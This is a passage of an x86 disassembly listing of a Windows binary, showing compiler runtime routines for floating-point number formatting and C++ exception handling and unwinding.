; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, 